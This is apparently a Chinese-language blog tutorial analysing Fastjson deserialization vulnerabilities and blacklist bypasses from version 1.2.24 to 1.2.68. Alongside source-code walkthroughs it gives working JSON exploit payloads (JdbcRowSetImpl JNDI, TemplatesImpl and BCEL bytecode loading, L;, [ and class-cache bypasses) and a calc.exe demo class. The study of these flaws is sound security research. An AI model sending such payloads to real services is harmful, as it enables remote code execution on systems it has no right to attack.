Fastjson反序列化

0x00 前言

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。fastjson是目前java语言中最快的json库,其功能完备且使用简单,因而使用非常广泛。自fastjson在1.2.24版本爆出第一次漏洞到至今,有着多次的安全补丁更新和绕过。

0x01 Fastjson简单使用和分析

Fastjson入口类是 com.alibaba.fastjson.JSON,主要的 API 是 JSON.toJSONString,parse和 parseObject。

1.简单环境

直接使用Maven导入依赖

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>

创建一个Study类用来测试

public class Student {private int age;private String name;public Student(){};public Student(String name,int age){this.name=name;this.age=age;}public int getAge() {System.out.println("调用了getAge");return age;}public void setAge(int age) {System.out.println("调用了setAge");this.age = age;}public String getName() {System.out.println("调用了getName");return name;}public void setName(String name) {System.out.println("调用了setName");this.name = name;}@Overridepublic String toString(){return "{\"name\":\""+name+'\"'+",\"age\":"+age+'}';}
}

2.将类序列化为json

主要的 API 是 JSON.toJSONString,此方法有多种重载方法,可指定多个参数,常见参数如下:

  • Object :即将要序列化的对象

  • SerializerFeature:序列化属性

  • SerializeFilter:序列化过滤器

  • SerializeConfig:序列化时的配置

简单测试:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;public class Test {public static void main(String[] args) {Student student = new Student("Christ1na",20);String s1 = JSON.toJSONString(student);System.out.println("----------");String s2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);System.out.println("s1:"+s1);System.out.println("s2:"+s2);}
}

看一下输出

可以发现JSON.toJSONString()成功将类转换为json字符串,并且在转换的同时调用了getter方法,而指定SerializerFeature.WriteClassName参数后,其会将对象类型一起序列化并且会写入到@type字段中。

3.将 json反序列化为类

主要的 API 是JSON.parseObject()和JSON.parse()

尝试将json反序列化为类

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class Test {public static void main(String[] args) {String s= "{\"@type\":\"fastjson.Student\",\"age\":20,\"name\":\"Christ1na\"}";Object parse = JSON.parse(s);System.out.println(parse);System.out.println(parse.getClass().getName());System.out.println("----------------------");JSONObject jsonObject = JSON.parseObject(s);System.out.println(jsonObject);System.out.println(jsonObject.getClass().getName());}
}

看一下输出

可以发现,当parse进行反序列化时,如果json字符串中有@type,会自动执行指定类中相对应属性的setter方法,并且会转换为@type指定类的类型

而parseObject进行反序列化时如果json字符串中有@type,会自动执行指定类的setter和getter方法,并且转换为JSONObject

那为什么parseObject可以调用getter方法呢?

我们来看一下源码

发现会先调用parse方法,然后调用toJSON将对象强转为JSONObject类,而toJSON会调用getter方法

这里列举一些 fastjson 功能要点:

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

那么如果存在一个类,其内存在恶意的getter、setter方法或利用链,那么我们使用fastjson的@type功能,就能对其进行恶意利用。

0x02 漏洞分析

1.2.24

影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。

主要有三种利用方式

1.JNDI注入

需要连接远程恶意服务器,在目标没外网的情况下无法直接利用,JDK191以后对JNDI注入做了限制

漏洞点在 com.sun.rowset.JdbcRowSetImpl ,触发点在javax.naming.InitialContext#lookup(),其参数可控,很明显的JNDI注入

其内存在的setAutoCommit方法,调用了this.connect()

跟进this.connect()方法,其调用了var1.lookup()方法,

跟进var1.lookup(),即javax.naming.InitialContext#lookup(),很明显的JNDI注入,而name参数则是由从成员变量 dataSource 中获取

那么构造payload也十分简单了:

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:8000/calc","autoCommit":true //false也行
}

测试,成功RCE

2.TemplatesImpl 加载字节码

需要开启Feature.SupportNonPublicField,比较鸡肋

漏洞点在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties(),这个利用点跟CC3的一样,最终调用defineClass()加载恶意字节码,从而执行任意代码

我们来见简单分析一下,首先是getOutputProperties()方法,会调用newTransformer()

跟进newTransformer(),会调用getTransletInstance()方法

而在getTransletInstance()方法中,如果_class为null,则会调用defineTransletClasses(),同时_name不能为空

而在defineTransletClasses()中,会使用自定义的defineClass去加载字节码,而这个 _bytecodes为该类的成员属性,也就是可控的。同时被加载的类其父类必须为ABSTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

那么完整的流程为

TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

该类存在成员属性_outputProperties,因此我们可以调用getOutputProperties()方法,从而触发恶意利用链。

由于部分需要更改的私有变量没有 setter 方法,所以需要使用 Feature.SupportNonPublicField 参数。尝试构造payload:

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAA...CABk="],"_name": "Christ1na","_tfactory": {},"_outputProperties": {},
}

测试,成功触发漏洞

3.BCEL加载字节码

可直接在目标本地利用,无额外条件

需要dbcp2包,而tomcat中自带此包,我这里是直接使用maven导入的org.apache.commons.dbcp2

但是在Java 8u251以后,BCEL ClassLoader就用不了了。

详情可看p牛的BCEL ClassLoader去哪了

漏洞点位于dbcp.dbcp2.BasicDataSource中

首先来看入口点getConnection(),其调用了createDataSource()方法

接着调用了createConnectionFactory()方法

在createConnectionFactory()方法中,如果dataSource不为null,则会执行Class.forName(this.driverClassName, true, this.driverClassLoader);

很明显,当Class.forName的第二个参数为true时,类加载后会执行static代码块中的内容,而driverClassName和 driverClassLoader都为该类的属性,可以控制,所以只要找到一个可以利用的恶意类即可,此时就会用到BCEL ClassLoader

该类位于com.sun.org.apache.bcel.internal.util.ClassLoader,其重写了Java内置的ClassLoader#loadClass()方法

protected Class loadClass(String class_name, boolean resolve)throws ClassNotFoundException{Class cl = null;/* First try: lookup hash table.*/if((cl=(Class)classes.get(class_name)) == null) {/* Second try: Load system class using system class loader. You better* don't mess around with them.*/for(int i=0; i < ignored_packages.length; i++) {if(class_name.startsWith(ignored_packages[i])) {cl = deferTo.loadClass(class_name);break;}}if(cl == null) {JavaClass clazz = null;/* Third try: Special request?*/if(class_name.indexOf("$$BCEL$$") >= 0)clazz = createClass(class_name);else { // Fourth try: Load classes via repositoryif ((clazz = repository.loadClass(class_name)) != null) {clazz = modifyClass(clazz);}elsethrow new ClassNotFoundException(class_name);}if(clazz != null) {byte[] bytes  = clazz.getBytes();cl = defineClass(class_name, bytes, 0, bytes.length);} else // Fourth try: Use default class loadercl = Class.forName(class_name);}if(resolve)resolveClass(cl);}classes.put(class_name, cl);return cl;}

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对 B C E L BCEL BCEL后面的字符串进行解码,然后作为Class的字节码,并调用 defineClass() 获取 Class 对象

我们可以编写一个恶意类Evil:

public class Evil {static {try {Runtime.getRuntime().exec("calc.exe");} catch (Exception e) {}}
}

然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器:

package fastjson;import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class bcel {public static void main(String[] args) throws Exception{JavaClass javaClass = Repository.lookupClass(test1.class);String code = Utility.encode(javaClass.getBytes(), true);System.out.println(code);new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();}
}

那么直接构造payload:

{{"aaa": {"@type": "org.apache.commons.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$..."}}: "bbb"
}

成功触发漏洞代码

为什么我们这里会这样构造payload呢?

我们知道此利用链的入口点为BasicDataSource.getConnection()方法,JSON.parse() 会调用满足特定条件的 getter 方法,显然getConnection()方法并不满足条件,因此如果我们使用parse()方法去正常反序列化它显然是不会触发的,当然如果用JSON.parseObject()是可以直接触发的。

原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。

首先,在 {“@type”: “org.apache.commons.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个 JSONObject 对象。

然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436if (object.getClass() == JSONObject.class) {key = (key == null) ? "null" : key.toString();
}

这样就能调用BasicDataSource.getConnection()方法了,完整poc应该是这样的:

{{"@type": "com.alibaba.fastjson.JSONObject","aaa":{"@type": "org.apache.commons.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$..."}}: "bbb"
}

1.2.25-1.2.41

影响版本:1.2.25 <= fastjson <= 1.2.41
描述:在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

在com.alibaba.fastjson.parser.ParserConfig中,添加了几个新变量:

  • autoTypeSupport:用来标识是否开启任意类型的反序列化,并且默认关闭,为true时会使用checkAutoType来进行安全检测
  • denyList:反序列化类的黑名单
  • acceptList:反序列化白名单

我们来看一下checkAutoType()函数的拦截逻辑:

首先在开启autoTypeSupport的情况下,会对类名进行白名单检测,如果符合则进入TypeUtils.loadClass,然后进行黑名单检测,如果类名在黑名单中直接抛出异常

继续向下看,如果autoTypeSupport没有开启,先进行黑名单匹配,如果匹配上抛出异常,在进行白名单匹配,匹配成功则进行加载。最后如果黑白名单都未匹配上且开启了auto则会调用TypeUtils.loadClass

跟进一下loadClass,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符。

因此在此位置出现了逻辑漏洞,如果开启了autoType,可以在@type的前后分别加上L ;来进行绕过黑名单的限制

需要开启aotoType

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://127.0.0.1:8000/calc","autoCommit":true
}

1.2.42

影响版本:1.2.25 <= fastjson <= 1.2.42

描述:将原本的明文黑名单转为使用了 Hash 黑名单,同时之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

看一下com.alibaba.fastjson.parser.ParserConfig的变化,以此来防止安全人员对其研究。

而且在 checkAutoType加入了新的过滤,如果类第一个字符是 L 结尾是 ;,会使用 substring函数进行了去除,显然可进行双写绕过,

payload:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:8000/calc","autoCommit":true
}

1.2.43

影响版本:1.2.25 <= fastjson <= 1.2.43
描述:修复上一个版本中双写绕过的问题

增加新判断,如果类名中出现两个LL则抛出异常

但是在 loadClass 的过程中,还针对 [ 也进行了处理和递归,那么也可以利用 [ 进行黑名单的绕过

payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"rmi://127.0.0.1:8000/calc","autoCommit":true
}

1.2.44

影响版本:1.2.25 <= fastjson <= 1.2.44
描述:修复了使用 [ 绕过黑名单防护的问题,在此版本之后,由字符串处理导致的黑名单绕过就结束了。

checkAutoType中进行判断,如果类名以[开始直接抛出异常

1.2.45

影响版本:1.2.25 <= fastjson <= 1.2.45
描述:在此版本又被爆出了一个黑名单绕过,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:7777/calc"}
}

1.2.47

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47

描述:此版本出现了重大漏洞,可以在不开启AutoTypeSupport的情况下进行反序列化的利用。原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测

我们来看一下checkAutoType() 方法,在开启autoTypeSupport的情况下,会先进行白名单判断,然后进行黑名单判断时,会判断TypeUtils.getClassFromMapping(typeName) 是否为null,如果不为空,则会继续向下走,从Mappingdeserializers中寻找类,如果存在则返回clazz

那么如果未开启autoTypeSupport,代码会先从Mappingdeserializers中寻找类,如果存在则返回clazz,从而绕过后面的黑名单检测

那我们如何才能在这两步中将我们的恶意类加载进去呢?

其中deserializers我们无法向其传参,所以无法利用,那我们着重看一下TypeUtils.getClassFromMapping(typeName)。

该方法从 TypeUtils.mappings 中取值,mapping.put方法用来向mappings赋值,其在以下两个函数中被调用:

  • addBaseClassMappings()
  • loadClass

而addBaseClassMappings()为无参的方法,无可控参数,我们来看一下loadClass()方法:

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {...//前面代码为检查类名 try{//classLoader不为空,cache为true,则将参数中的className加入mappings中if(classLoader != null){clazz = classLoader.loadClass(className);if (cache) {mappings.put(className, clazz);}return clazz;}} catch(Throwable e){e.printStackTrace();// skip}try{ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();//如果第一次失败,以当前的contextClassLoader来加载类,cache为true,将参数中的className加入mappings中if(contextClassLoader != null && contextClassLoader != classLoader){clazz = contextClassLoader.loadClass(className);if (cache) {mappings.put(className, clazz);}return clazz;}} catch(Throwable e){}//如果前两次失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中try{clazz = Class.forName(className);mappings.put(className, clazz);return clazz;} catch(Throwable e){}return clazz;}

那么只要我们能控制该方法的参数,就能向mappings中写入类名,而在当前类中,loadClass有三个重载方法,其中className参数均可控,那我们找一下这些函数在哪里被调用且可利用

最后我们找到了com.alibaba.fastjson.serializer.MiscCodec#deserialze方法,其调用了两个参数的loadClass()

其cache为true,所以可被利用

那我们看一下MiscCodec#deserialze方法,首先clazz必须为Class.class,也就是java.lang.Class,这个clazz为deserialze方法的参数,如何赋值先这里先不解释

然后将 strVal 加入mappings中,那么这个strVal是如何赋值的呢?

其是由objVal赋值

我们继续跟一下objVal如何被赋值,这里第一个if默认为true,而第二个判断是我们的json字符串中必须有val属性,最后objVal的值为从JSON中解析到的val的值

那么如何能调用deserialze方法并使clazz == Class.class呢?

ParserConfig类初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,类似一种缓存,其中会添加Class.class

进行json反序列化时,会调用checkAutoType()方法,当我们传入的类名为java.lang.class,其会返回clazz等于java.lang.class

随后会调用deserialze方法,该方法位于checkAutoType()方法之后调用,因而可成功调用loadClass方法,向mappings中添加我们的恶意类

那我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击

payload:

{"1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "2": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:7777/calc", "autoCommit": true}
}

1.2.48

MiscCodec中修改了cache的默认值为false,并且对TypeUtils.loadClass中的mapping.put做了限制,可以避免使用了 Class 提前将恶意类名缓存进去

1.2.68

影响版本:fastjson <= 1.2.68
描述:在此版本中新增了safeMode功能,如果开启的话,将在 checkAutoType() 中直接抛出异常,等于是完全禁止了autotype。但爆出了可以在不开启safeMode的前提下,利用 expectClass 绕过 checkAutoType()

checkAutoType()函数新加逻辑,如果safeMode开启直接抛出异常

可以利用 expectClass 绕过 checkAutoType(),在checkAutoType()中有这么一个判断:如果传入 expectClass 参数,且传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以绕过后面的安全检测。


expectClassFlag的值为true时,会调用TypeUtils.loadClass加载类

其中java.lang.AutoCloseable因为在白名单中,因此可以使用其子类来进行绕过autoTypeSupport
总结一下恶意类要满足的条件:

  • 恶意类不在黑名单内
  • 恶意类的父类(例如AutoCloseable)不在黑名单内
  • 恶意类不能是抽象类
  • 恶意类中的getter/setter/static block/constructor能触发恶意操作

1.2.80

后续版本绕过待补充…

参考链接:

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

https://su18.org/post/fastjson/

http://tttang.com/archive/1579/#toc_fastjson

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

Fastjson反序列化相关推荐

  1. fastJson反序列化异常,JSONException: expect ‘:‘ at 0, actual =

    fastJson反序列化异常,JSONException: expect ':' at 0, actual = 参考文章: (1)fastJson反序列化异常,JSONException: expec ...

  2. fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...

    漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...

  3. .NET高级代码审计(第三课)Fastjson反序列化漏洞

    0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...

  4. fastjson反序列化过滤字段属性_原创干货 | 从RMI入门到fastjson反序列化RCE

    关注我,让我成为你的专属小太阳吧 RMI入门 什么是RMI RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机 ...

  5. fastjson反序列化漏洞_【安全风险通告】fastjson反序列化远程代码执行漏洞安全风险通告...

    近日,奇安信CERT监测到fastjson官方发布新版本,修补了一个反序列化远程代码执行漏洞.远程攻击者可利用该漏洞绕过autoType限制,进而可在目标服务器上执行任意命令.鉴于该漏洞影响较大,建议 ...

  6. fastjson xml转json_在XML中测试Fastjson反序列化

    本文来自SecIN社区-作者:tkswifty 引言 在实际业务开发中,经常会对xml或者json类型的请求数据进行解析.例如微信扫码支付的功能,按照微信开发文档与支付平台进行数据交互就需要使用XML ...

  7. sqlrowset 转化为json_逆向学习 fastjson 反序列化始末

    作者:summersec 本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:paper@seebug.org 前言 Fastjson这款国内知名的解析json的 ...

  8. fastjson反序列化map_最新fastjson反序列化漏洞分析

    前言 写的有点多,可能对师傅们来说比较啰嗦,不过这么写完感觉自己也就明白了 poc newPoc.javaimport com.alibaba.fastjson.JSON; public class ...

  9. java反序列化与Apache CC链、fastjson反序列化的理解与研究

    文章目录 0. 反序列化攻击的本质 1. 前言 2. 为什么会存在序列化技术 2. 序列化与反序列化 补充 3. 为什么会有反序列化漏洞 4. JAVA Apache-CommonsCollectio ...

  10. 烽火狼烟丨Fastjson反序列化漏洞风险提示

    1.漏洞概述 近日,WebRAY安全服务产品线监测到Fastjson官方发布公告,修复了一个存在Fastjson1.2.80版本以及之前的版本的反序列化漏洞. Fastjson是一个由Java语言编写 ...

最新文章

  1. 练习2:课工场响应式导航条_作业帮直播课APP下载最新版入口
  2. HDU3089(约瑟夫环问题)
  3. Navicat使用教程:在Navicat Monitor for MySQL/MariaDB中配置实
  4. 关于c++中map插入元素的问题
  5. java-银行业务调度系统《十一》
  6. Linux下GCC报:extern “C“ _declspec(dllexport)相关错误
  7. 彻底理解文本主题模型LDA(极致原理讲解+实战)
  8. rp文件,怎么用浏览器预览
  9. 机载 LiDAR 点云数据分类
  10. Windows系统下载Android源码
  11. oracle中的ROLLUP函数
  12. 淘宝天猫店铺装修问题与技巧性经验汇总
  13. linux服务器常用命令
  14. 简单A/BTest验证图片懒加载效果
  15. jQuery 官网下载js
  16. 拯救脆弱的智慧城市:不但要“智商” 还得有“生气”
  17. windows无法启动Apache服务,错误1067:进程意外终止
  18. python xy 官网_pythonxy 安装
  19. Java多线程--深入浅出Java多线程
  20. GREENPLUM 5.17 centos 6.10 详细安装步骤

热门文章

  1. 计算机图形学专业 国内大学排名,2021中国数字媒体技术专业大学排名 最好的高校排行榜...
  2. 不要小看 b=~a4
  3. 2017年浙江工业大学大学生程序设计迎新赛预赛 H - 栗酱的文明
  4. 数据集【NO.8】红外海上船舶数据集
  5. 奋斗吧,程序员——第五十一章 黑云压城城欲摧,甲光向日金鳞开
  6. 第十三周项目一(4)——验证平衡二叉树相关算法
  7. 红木整装,端庄典雅东方境界
  8. 诸神之战在星际争霸1的实现[001]AI游戏的发端
  9. 古龙群侠传主线剧情攻略
  10. 机器学习-算法-半监督学习:半监督学习(Semi-supervised Learning)算法